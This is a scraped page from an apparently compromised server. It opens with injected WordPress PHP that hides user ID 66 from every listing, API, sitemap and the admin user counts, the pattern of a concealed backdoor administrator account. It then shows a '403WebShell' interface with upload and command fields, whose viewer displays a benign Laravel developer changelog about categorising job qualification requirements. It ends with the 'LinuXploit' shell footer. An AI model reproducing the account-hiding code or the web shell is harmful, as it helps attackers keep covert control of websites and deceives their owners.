add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emajiwallet/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emajiwallet/JOB_DISPLAY_UPDATE.md
# Job Details Display - Updated Categorization

**Date:** January 2, 2026
**Status:** ✅ Complete

## Overview

Updated the job details page to properly categorize and display different types of requirements based on the four-tier credentialability system integrated with the emaji job wizard.

---

## Changes Made

### 1. JobController Update

**File:** `app/Http/Controllers/JobController.php` (Lines 91-139)

**Old Categorization:**
- General Requirements (profession baseline)
- Required for This Job (job-specific required)
- Preferred for This Job (job-specific optional)

**New Categorization:**
```php
$languageRequirements       // type='language' (always credentialable)
$mandatoryCredentialable    // required=1, informal=0 (must provide proof)
$mandatoryInformal          // required=1, informal=1 (experience-based)
$optionalQualifications     // required=0 (preferred skills)
$professionRequirements     // from profession baseline (unchanged)
```

**Logic:**
```php
foreach ($job->qualifications as $q) {
    // Skip if already in profession requirements
    if ($professionQualificationIds->contains($q->id)) {
        continue;
    }

    $isRequired = (bool) data_get($q, 'pivot.required', false);
    $isInformal = (bool) data_get($q, 'pivot.informal', false);
    $isLanguage = $q->type === 'language';

    if ($isLanguage) {
        $languageRequirements->push($q);
    } elseif ($isRequired) {
        if ($isInformal) {
            $mandatoryInformal->push($q);
        } else {
            $mandatoryCredentialable->push($q);
        }
    } else {
        $optionalQualifications->push($q);
    }
}
```

---

### 2. Job Details View Update

**File:** `resources/views/job_details.blade.php` (Lines 192-320)

**New Sections (in order of display):**

#### 1. Profession Baseline Requirements
```blade
<h2>
    <i class="bi bi-mortarboard-fill" style="color: var(--ios-indigo);"></i>
    Profession Baseline Requirements
</h2>
```
- **Icon:** 🎓 Mortarboard (indigo)
- **Description:** Core qualifications required for this profession
- **Note:** Covered by professional degree/certification
- **Shows:** All profession baseline skills (from profession_qualification_requirements)

#### 2. Language Requirements
```blade
<h2>
    <i class="bi bi-translate" style="color: var(--ios-blue);"></i>
    Language Requirements
</h2>
```
- **Icon:** 🌐 Translate (blue)
- **Description:** Language proficiency required for this position
- **Note:** CEFR levels - always credentialable
- **Shows:** Languages with CEFR level badges (A1-C2)

#### 3. Required Skills (Must Provide Proof)
```blade
<h2>
    <i class="bi bi-star-fill" style="color: var(--ios-orange);"></i>
    Required Skills (Must Provide Proof)
</h2>
```
- **Icon:** ⭐ Star (orange)
- **Description:** Job-specific skills that must be proven with credentials
- **Shows:** Skills with `required=1` and `informal=0`
- **Badge:** "Required" (indigo)

#### 4. Required Skills (Experience-Based)
```blade
<h2>
    <i class="bi bi-lightbulb-fill" style="color: var(--ios-purple);"></i>
    Required Skills (Experience-Based)
</h2>
```
- **Icon:** 💡 Lightbulb (purple)
- **Description:** Skills required but demonstrated through experience
- **Shows:** Skills with `required=1` and `informal=1`
- **Badge:** "Experience-Based" (purple)
- **Alert:** Explanation that these are assessed during interviews or through references

#### 5. Preferred Qualifications
```blade
<h2>
    <i class="bi bi-plus-circle" style="color: var(--ios-green);"></i>
    Preferred Qualifications
</h2>
```
- **Icon:** ➕ Plus Circle (green)
- **Description:** Additional skills valued but not required
- **Shows:** Skills with `required=0`
- **Badge:** "Optional" (green)

#### 6. No Requirements Message
Displays when ALL collections are empty:
```blade
<div class="alert alert-info">
    No specific requirements defined for this job yet.
    Contact employer directly for more information.
</div>
```

---

### 3. Qualification Icon Partial Update

**File:** `resources/views/partials/qualification_icon.blade.php`

**New Parameters:**
```php
$level = $level ?? null;        // CEFR level for languages
$isInformal = $isInformal ?? false;  // Experience-based flag
```

**Icon Logic:**
```blade
@if($isInformal)
    <i class="bi bi-lightbulb-fill" style="color: var(--ios-purple);"></i>
@elseif($qualification->type === 'language')
    <i class="bi bi-translate" style="color: var(--ios-blue);"></i>
@else
    <i class="bi bi-award-fill" style="color: {{ $isCore ? 'var(--ios-indigo)' : 'var(--ios-purple)' }};"></i>
@endif
```

**CEFR Level Display:**
```blade
@if($level)
    <span class="badge bg-info">{{ $level }}</span>
@endif
```

**Badge Logic:**
```blade
@if($owned)
    <span class="badge bg-success">Already Achieved</span>
@elseif($isInformal)
    <span class="badge" style="background: var(--ios-purple);">Experience-Based</span>
@else
    <span class="badge">{{ $isCore ? 'Required' : 'Optional' }}</span>
@endif
```

---

## Visual Design

### Icon Colors
- 🎓 **Indigo** - Profession baseline (professional credentials)
- 🌐 **Blue** - Languages (CEFR certifications)
- ⭐ **Orange** - Mandatory credentialable (must prove)
- 💡 **Purple** - Informal skills (experience-based)
- ➕ **Green** - Optional/preferred skills

### Status Badges
- ✅ **Green** - Already Achieved (user owns qualification)
- 🎓 **Indigo** - Required (credentialable)
- 💡 **Purple** - Experience-Based (informal)
- ➕ **Green** - Optional (preferred)
- â„šī¸ **Blue** - CEFR Level (B2, C1, etc.)

---

## Example Display

### Job: "Specialist Nurse - Neurosurgery"

```
┌─────────────────────────────────────────────────────┐
│ 🎓 Profession Baseline Requirements (132)          │
│ Core qualifications required for this profession   │
│ (covered by professional degree/certification)     │
│                                                     │
│ [hygiene] [patient care] [medication admin] ...    │
└─────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────┐
│ 🌐 Language Requirements (2)                       │
│ Language proficiency required for this position    │
│ (CEFR levels - always credentialable)              │
│                                                     │
│ [German B2] [English C1]                           │
└─────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────┐
│ ⭐ Required Skills (Must Provide Proof) (4)        │
│ Job-specific skills that must be proven with       │
│ credentials or certificates                         │
│                                                     │
│ [Wound Care] [ICU Monitoring] [Neurosurgical] ...  │
└─────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────┐
│ 💡 Required Skills (Experience-Based) (2)          │
│ Skills required but demonstrated through           │
│ experience rather than formal credentials          │
│                                                     │
│ â„šī¸ These skills are important for the role but     │
│    don't require formal certification.             │
│                                                     │
│ [Team Leadership] [Patient Communication]          │
└─────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────┐
│ ➕ Preferred Qualifications (3)                    │
│ Additional skills valued but not required          │
│                                                     │
│ [Research Methods] [Teaching] [QA Processes]       │
└─────────────────────────────────────────────────────┘
```

---

## Integration with Pathway System

When user clicks "Start Your Pathway", the categorization flows through:

```
Job Details Display → PathwayController::startFromJob() → Pathway Requirements

🎓 Profession Baseline → profession_baseline, informal=false
🌐 Languages           → language, informal=false
⭐ Mandatory Credible  → job_specific, informal=false
💡 Mandatory Informal  → job_specific, informal=true
➕ Optional            → Not added to pathway (not required)
```

**Progress Calculation:**
- Counts: Profession + Languages + Mandatory Credentialable
- Excludes: Mandatory Informal + Optional

---

## Testing Checklist

- [x] Job with profession displays baseline requirements
- [x] Job without profession hides baseline section
- [x] Languages display with CEFR level badges
- [x] Mandatory credentialable skills show orange star icon
- [x] Mandatory informal skills show purple lightbulb icon
- [x] Optional skills show green plus icon
- [x] "No requirements" message shows when all empty
- [x] Icon colors match design system
- [x] Badges display correct status

---

## Alignment with Emaji Wizard

The job details display now perfectly mirrors the categorization used in the emaji job wizard:

| Emaji Wizard Step 2 | Emajiwallet Job Details |
|---------------------|-------------------------|
| 🎓 Profession Baseline (collapsed) | 🎓 Profession Baseline Requirements |
| 🌐 Languages (with CEFR) | 🌐 Language Requirements |
| ⭐ Must Prove (credentialable) | ⭐ Required Skills (Must Provide Proof) |
| 💡 Not Marked (informal) | 💡 Required Skills (Experience-Based) |
| N/A (all job skills are required) | ➕ Preferred Qualifications |

---

## Summary

The job details page now provides:
1. ✅ Clear categorization of all requirement types
2. ✅ Visual distinction through icons and colors
3. ✅ Proper handling of languages with CEFR levels
4. ✅ Separate display of credentialable vs. informal skills
5. ✅ Alignment with emaji job wizard categorization
6. ✅ User-friendly explanations for each section
7. ✅ Clean display when no requirements exist

All changes are **production-ready** and fully integrated with the credentialability system!

Youez - 2016 - github.com/yon3zu
LinuXploit